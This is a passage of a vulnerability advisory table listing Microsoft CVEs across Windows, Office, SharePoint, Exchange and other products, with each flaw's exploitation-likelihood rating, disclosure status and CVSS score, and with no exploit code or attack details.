CVE-2026-59122	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62701	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62725	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62726	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62732	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62734	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62699	Windows Universal Disk Format File System Driver (UDFS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-61926	Windows USB Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62832	Windows User Profile Service Elevation of Privilege Vulnerability	Exploitation More Likely	Yes	7.8
CVE-2026-62721	Windows User-Mode Power Service (UMPS) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62712	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62876	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62877	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65678	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62711	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62733	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62885	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65775	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62730	Windows Wired AutoConfig Service Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-61349	Windows Work Folder Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61939	Winlogon Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0

Microsoft Dynamics vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-66301	Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-65815	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-40375	Microsoft Dynamics Business Central Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5

Microsoft Office vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-64906	Microsoft Access Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64912	Microsoft Access Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64908	Microsoft Access Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64914	Microsoft Access Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64920	Microsoft Access Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64919	Microsoft Access Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-68802	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-68808	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-68813	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70318	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70327	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-70328	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-68797	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-68799	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-65807	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-68793	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68794	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68795	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68796	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68800	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68807	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68806	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68810	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68811	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68815	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68816	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68798	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-68801	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68803	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68804	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68805	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68812	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68814	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68817	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68792	Microsoft Office Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-63517	Microsoft Office Graphics Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62842	Microsoft Office Graphics Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-66809	Microsoft Office Graphics Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-63513	Microsoft Office Graphics Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-63519	Microsoft Office Graphics Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65664	Microsoft Office Graphics Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-63526	Microsoft Office Graphics Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-66807	Microsoft Office Graphics Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70315	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70314	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70317	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70323	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-63524	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-63529	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-64899	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-63515	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65657	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65656	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65661	Microsoft Office Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-63532	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-63533	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64898	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64903	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64904	Microsoft Office Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-64909	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64910	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64911	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70130	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.4
CVE-2026-57105	Microsoft Office SharePoint Spoofing Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-70306	Microsoft Office SharePoint Spoofing Vulnerability	Exploitation Less Likely	No	9.3
CVE-2026-63521	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-70319	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-63528	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-63530	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-63531	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-64917	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-66806	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-66810	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-63518	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70311	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-63525	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-63527	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64905	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64907	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-64915	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65680	Microsoft OneDrive for MacOS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-70329	Microsoft Outlook Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-62882	Microsoft Outlook Spoofing Vulnerability	Exploitation Unlikely	No	4.3
CVE-2026-70313	Microsoft PowerPoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70324	Microsoft SharePoint Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-70321	Microsoft SharePoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62827	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-70355	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.3
CVE-2026-64921	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-70326	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62837	Microsoft SharePoint Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-63514	Microsoft SharePoint Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-63520	Microsoft SharePoint Server Remote Code Execution Vulnerability	Exploitation More Likely	No	8.1
CVE-2026-65658	Microsoft SharePoint Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-65663	Microsoft SharePoint Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-65665	Microsoft SharePoint Server Remote Code Execution Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-64901	Microsoft SharePoint Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-66805	Microsoft SharePoint Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-66808	Microsoft SharePoint Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62829	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-63516	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-64922	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-65660	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-64897	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-64900	Microsoft SharePoint Server Spoofing Vulnerability	N/A	No	7.3
CVE-2026-64902	Microsoft SharePoint Server Spoofing Vulnerability	N/A	No	4.6
CVE-2026-64916	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Unlikely	No	4.6
CVE-2026-58639	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62839	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62917	Microsoft SharePoint Server Spoofing Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-63512	Microsoft SharePoint Server Tampering Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-65767	Microsoft Teams for Android and iOS Spoofing Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-65769	Microsoft Teams iOS Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-65768	Microsoft Teams Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-70310	Microsoft Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-58651	Microsoft Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68809	Powerpoint Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-70312	Powerpoint Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70316	Powerpoint Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70325	Powerpoint Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70320	Powerpoint Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-70322	Powerpoint Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5

Server Software vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-62912	Microsoft Exchange Server Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62910	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.2
CVE-2026-65813	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62911	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-62913	Microsoft Exchange Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62915	Microsoft Exchange Server Security Feature Bypass Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62914	Microsoft Exchange Server Spoofing Vulnerability	Exploitation Less Likely	No	7.3

SQL Server vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-65811	Power BI Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8

System Center vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-54123	Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5

Windows vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-65777	Active Directory Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.3
CVE-2026-59130	AMD Zen Information Disclosure Vulnerability	Exploitation Less Likely	No	5.6
CVE-2026-59131	AMD Zen Information Disclosure Vulnerability	Exploitation Less Likely	No	5.6
CVE-2026-61357	Application Information Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62892	Capability Access Management Service (camsvc) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-65786	Desktop Window Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65787	Desktop Window Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65788	Desktop Window Manager Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-59136	Microsoft COM for Windows Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62698	Microsoft Digest Authentication Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-59133	Microsoft High Performance Computing (HPC) Pack Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-59124	Microsoft High Performance Computing (HPC) Pack Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-62784	Microsoft Local Security Authority Server (lsasrv) Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-62815	Microsoft QUIC Remote Code Execution Vulnerability	N/A	No	9.8
CVE-2026-59138	Microsoft Remote Registry Service Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-61345	Microsoft Remote Registry Service Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-66804	Microsoft Windows Cross Device Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-59135	Microsoft Windows Search Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-65814	Microsoft Windows Storage Port Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-6726	MITRE: CVE-2026-6726 TPM 2.0 Improper Object Slot Reuse	Exploitation Less Likely	No	7.9
CVE-2026-6727	MITRE: CVE-2026-6727 TPM 2.0 RSA OAEP Timing Side-Channel Vulnerability	Exploitation Less Likely	No	5.9
CVE-2026-65671	Remote Access API Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65672	Remote Access API Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-42976	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-59134	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-61352	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-61363	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-62824	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54113	Remote Procedure Call Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-62781	RPC Runtime Library Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-59125	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation Less Likely	No	7.0
CVE-2026-62746	Win32k Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62798	Win32k Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62743	Win32k Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62786	Win32k Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-61358	Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62818	Windows Active Directory Certificate Services (AD CS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-49179	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-61348	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-68820	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Detected	No	7.0
CVE-2026-70307	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-65783	Windows Autopilot Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-65779	Windows Autopilot Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-65780	Windows Autopilot Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-65778	Windows Autopilot Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-65782	Windows Autopilot Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-65781	Windows Autopilot Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62908	Windows Backup Engine Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-61927	Windows Bind Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-61934	Windows Bind Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62705	Windows Bind Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62722	Windows Bind Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62713	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62771	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62728	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62772	Windows Container Isolation FS Filter Driver (unionfs.sys) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62775	Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-72971	Windows Container Isolation FS Filter Driver (unionfs.sys) Tampering Vulnerability	Exploitation Unlikely	Yes	5.5
CVE-2026-61936	Windows Defender Firewall Service Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62893	Windows Deployment Services TFTP Server Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-62747	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62710	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-66802	Windows Device Health Attestation (DHA) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-71331	Windows Device Health Attestation (DHA) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-65785	Windows DHCP Client Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62755	Windows DHCP Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62736	Windows DHCP Client Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61361	Windows DHCP Client Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62812	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62761	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62776	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62803	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62807	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62718	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62715	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62716	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62742	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62745	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62720	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62714	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62814	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62823	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-61923	Windows Display Enhancement Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70304	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-70330	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-62769	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-62778	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-62881	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-62883	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-65795	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-65797	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-65799	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-65798	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-62787	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-62817	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62820	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-62878	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-65789	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-61920	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	6.6
CVE-2026-61932	Windows DWM Core Library Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62894	Windows DWM Core Library Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62888	Windows DWM Core Library Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-61933	Windows DWM Core Library Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62703	Windows DWM Core Library Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-59128	Windows Encrypting File System (EFS) Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-59126	Windows Event Logging Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-59137	Windows Event Logging Service Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-61347	Windows Event Logging Service Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-65662	Windows GDI Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-61360	Windows GDI Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62890	Windows GDI+ Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62709	Windows GDI+ Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62822	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62702	Windows Graphics Kernel Denial of Service Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-61346	Windows Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62774	Windows Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-61928	Windows Hello Tampering Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62750	Windows HTTP Protocol Stack Tampering Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-61937	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62753	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62735	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62739	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62741	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62811	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8

CVE-2026-61368	Windows Hyper-V Information Disclosure Vulnerability	Exploitation Less Likely	No	5.0
CVE-2026-62740	Windows Imaging Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-54984	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-59127	Windows Installer Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61925	Windows Installer Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
